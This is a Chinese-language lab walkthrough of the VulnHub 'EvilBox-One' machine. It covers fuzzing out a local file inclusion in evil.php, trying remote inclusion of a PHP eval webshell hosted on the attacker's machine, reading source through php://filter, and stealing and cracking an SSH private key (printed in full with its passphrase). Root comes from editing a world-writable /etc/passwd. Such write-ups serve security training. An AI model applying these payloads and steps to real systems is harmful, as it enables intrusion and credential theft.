首页 > 其他分享 >第九次打靶

第九次打靶

时间:2022-12-14 09:57:09浏览次数:55  
标签:56.113 .. 第九次 mowree 打靶 192.168 http php

靶机介绍

1)靶机地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova

2)靶机难度:低→中

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、网络扫描、强制访问、参数爆破、文件包含、PHP封装器、任意文件读取、SSH公钥登录、离线密码破解、系统权限漏洞利用

5)该靶机的边界突破和提权方法非常具有新意,与之前的打靶过程非常不同,可以很好的扩展渗透思路和补强个人能力的短版,对于初学者学习更加有益。

打靶过程

1)主机发现:本次通过fping命令进行主机发现

2)全端口扫描:扫描目标主机开放的端口

3)对发现的端口进行服务版本扫描(-A 相当于-sV和-sC的组合)

4)先对22端口进行了简单的暴力破解,无法破解出ssh服务的root密码,再通过浏览器访问目标主机的80端口:首页面只是一个简单的页面,无任何漏洞

浏览器:http://192.168.56.113/

8)对网站根目录进行路径扫描

①通过gobuster工具对网站根目录进行路径爬取(gobuster是通过go语言写的路径扫描工具,速度快,其中-w表示指定字典,-x表示扫描的文件类型):扫描完成后发现了rebots.txt文件和secret

# gobuster dir -u "http://192.168.56.113" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

②根据扫描出的路径,重新构建URL路径,再次进行扫描:发现在secret路径下,存在evil.php文件

# gobuster dir -u "http://192.168.56.113/secret" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

9)在浏览器访问发现的evil.php发现页面显示空白

浏览器:
	http://192.168.56.113/secret
	http://192.168.56.113/secret/evil.php

说明:某些页面方式时,需要在URL中添加参数才能正常访问,当某个页面没有暴漏出存在哪些参数时,需要对该页面进行参数的爆破。只有知道参数才能对参数进行后续的注入等攻击

10)对URL的参数名和参数值进行爆破,可以选择Burp工具的Intruder模块,也可使用如下工具

①先手动编写一个参数值字典,使其和参数名字典进行匹配

# cat vul.txt 
1
2
3
a
b
c
'
"
(
<
,
;
/
%

②使用工具对参数进行暴力破解:发现爆破失败

# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w vul.txt:vul -u http://192.168.56.113/secret/evil.php?PARAM=vul -fs 0

-w   表示挂载的字典(字典包含大量web程序参数名称)
-fs 0表示过滤掉空页面的内容

③由于只有一个字典了,将不设置参数名,参数名可用FUZZ进行替换,表示模糊测试,接下来工具将使用字典中的每一个关键字进行替换FUZZ。判断是否存在一个参数可以做文件包含引用(通过前面扫描可知 ../index.html是一定存在的)

# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt  -u http://192.168.56.113/secret/evil.php?FUZZ=../index.html -fs 0

通过扫描,发现存在一个command参数

④在浏览器通过访问,进行确定command参数确实存在

http://192.168.56.113/secret/evil.php?command=../index.html
http://192.168.56.113/secret/evil.php?command=../../../../../../etc/passwd

发现确实存在文件包含漏洞

11)在kali上构造webshell,通过文件包含,尝试让其引用kali上的一句话木马文件,如果 可以远程的完成文件包含,则目标主机就可以把一句话木马包含应用到当前页面中,从而完成命令执行的操作

①kali上构建一句话木马

# cat a.php 
<?php @eval($_POST['cmd']);?>
#systemctl start apache2
# curl -I http://192.168.56.103/a.php

②在浏览器进行测试,是否支持远程文件包含:页面回显空白,不支持远程文件包含

http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=ls
http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=id

12)尝试使用PHP的封装器方式(协议类型)

①利用filter封装器功能,尝试将目标服务器上的文件通过编码转化的方式读取出来,实现任意文件读取的效果

把eval.php内容以base64的编码类型的方式读取出来

http://192.168.56.113/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

②将回显的base64编码,利用cyberchef的From base64功能,将编码还原成代码(也可使用Burp的Decode功能):通过代码审计发现,确实存在文件包含漏洞

<?php
    $filename = $_GET['command'];
    include($filename);
?>

③尝试通过write命令,向目标服务器去写入一些内容,为保证写入内容的成功,先将写入的内容转化成base64编码,在使用decode方法。将decode后的内容写入到一个新的文件

kali主机:生成base64代码
	# echo 123 | base64 
	MTIzCg==
浏览器:
http://192.168.56.113/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&txt=MTIzCg==

④在浏览器访问刚才写入的文件test.txt发现不存在,所以上述写入操作是失败的,由此可知当前靶机的站点目录下是没有写入权限的

13)通过之前本地文件包含,查看到的/etc/passwd文件,发现操作系统存在一个mowree用户。再加上目标靶机开放22端口,可以尝试使用mowree用户进行登录

# ssh [email protected] -v         #-v表示显示登录过程中的详细信息

发现目标靶机支持publickey,password两种身份认证(公钥身份认证、密码身份认证)

猜想:如果目标系统支持某个账号使用公钥的方式登录,则在这个登录账号的主目录下就存在目标服务器的公钥

14)通过文件包含漏洞,对mowree用户的家目录进行访问:发现确实存在authorized_keys文件,可以发现该公钥是mowree用户的公钥,且公钥加密生成的算法是rsa,目标主机为EvilBoxOne

①查看公钥

http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys

②查看私钥

http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa

③将私钥文件保存至id_rsa,并设置权限

# vi id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----

─# chmod 600 id_rsa

④通过私钥尝试进行登录:发现仍然需要属于一个passphrase密码,该密码为公私钥对生成时的所有者,对私钥又加了一层密码,只有知道这个密码,才能解开这个私钥

# ssh [email protected] -i id_rsa

15)将加密私钥的密码破解出来

①利用离线密码爆破工具john将id_rsa转化成john工具可以识别的文件格式

# cd /usr/share/john/
# ./ssh2john.py /var/www/html/id_rsa >  /root/hash

②指定密码字典,对id_rsa转换后的hash文件进行爆破:破解出了私钥文件加密密码为unicorn

# cp /usr/share/wordlists/rockyou.txt.gz /root
# gunzip rockyou.txt.gz
# john /root/hash --wordlist=/root/rockyou.txt

16)再次使用ssh进行登录:成功登陆至目标服务器,突破边界

# ssh [email protected] -i id_rsa

17)获取到第一个flag

18)提权

①先查看有无定时任务:无

②再查看有无sudo权限:无

③查看是否具有内核漏洞:无

④查看是否具有suid的文件:无

mowree@EvilBoxOne:~$ crontab -l 
no crontab for mowree
mowree@EvilBoxOne:~$ sudo -l 
-bash: sudo: orden no encontrada
mowree@EvilBoxOne:~$ uname -a 
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
mowree@EvilBoxOne:~$ find / -perm /4000 2>/dev/null       #将报错信息进程重定向
mowree@EvilBoxOne:~$ find / -perm /2000 2>/dev/null

⑤查看当前账号具有写权限的文件:通过查看发现/etc/passwd具有写权限

mowree@EvilBoxOne:~$ find / -writable  2>/dev/null |grep -v proc
mowree@EvilBoxOne:~$ ls -l /etc/passwd 
-rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd

19)修改/etc/passwd文件中root用户的密码,使其可以直接登录

①通过算法,简单生成一个加密之后的密码

mowree@EvilBoxOne:~$ openssl passwd -1         #-1表示一种算法
Password: 
Verifying - Password: 
$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0

②将/etc/passwd文件中的root用户密码修改为$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0

mowree@EvilBoxOne:~$ cat /etc/passwd
root:$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0:0:0:root:/root:/bin/bash

③通过su直接切换至root用户:获取到flag

mowree@EvilBoxOne:~$ su - root

标签:56.113,..,第九次,mowree,打靶,192.168,http,php
From: https://www.cnblogs.com/piaolaipiaoqu/p/16981266.html

相关文章

  • 第八次打靶-2
    靶机介绍1)靶机地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova2)靶机难度:高3)打靶目标:取得root权限4)涉及攻击方法:主机发现、端口扫描、SQL注入......
  • 第七次打靶
    靶机介绍1)靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z2)靶机难度:中3)打靶目标:取得2个flag+root权限4)涉及攻击方法:主机发现、端口扫描、WEB路径爆破......
  • 第四次打靶
    靶机说明1)靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/2)难度:中等3)虚拟机软件推荐:virtualBox4)本次涉及攻击手段:主机发现、端口扫描、......
  • 第三次打靶
    靶机介绍1)靶机名称:3-Free-MoriartyCorp2)难度级别:中-高3)靶机背景介绍:①你作为一名特工,协助调查世界最大军火商的非法交易②本次靶机共有6个任务,每完成一个任务并提交fl......
  • 第二次打靶
    靶机介绍:1)靶机名称:2-Free-Hackademic.RTB12)靶机链接:步骤:链接:https://pan.baidu.com/s/1IMWhKd3h8sDcPelzXXhxKg提取码:o5k0打靶过程:1)启动靶机,选择网络模式为仅主机模......
  • 数据库第九次作业-连接查询&子查询
    目录​​1.查询“Chisel”所在车间的车间编号、车间主任姓名、主任联系方式​​​​2.查询所有员工姓名、员工联系电话、车间地址、车间主任姓名、主任联系方式​​​​3.查......
  • python 打靶法求解一维谐振子薛定谔方程
    1.理论公式一维谐振子薛定谔方程:\[-\frac{\hbar^2}{2m}\frac{d^2}{dx^2}\psi(x)+\frac{1}{2}m\omega^2x^2\psi(x)=E\psi(x).\]即\[\frac{d^2}{dx^2}\ps......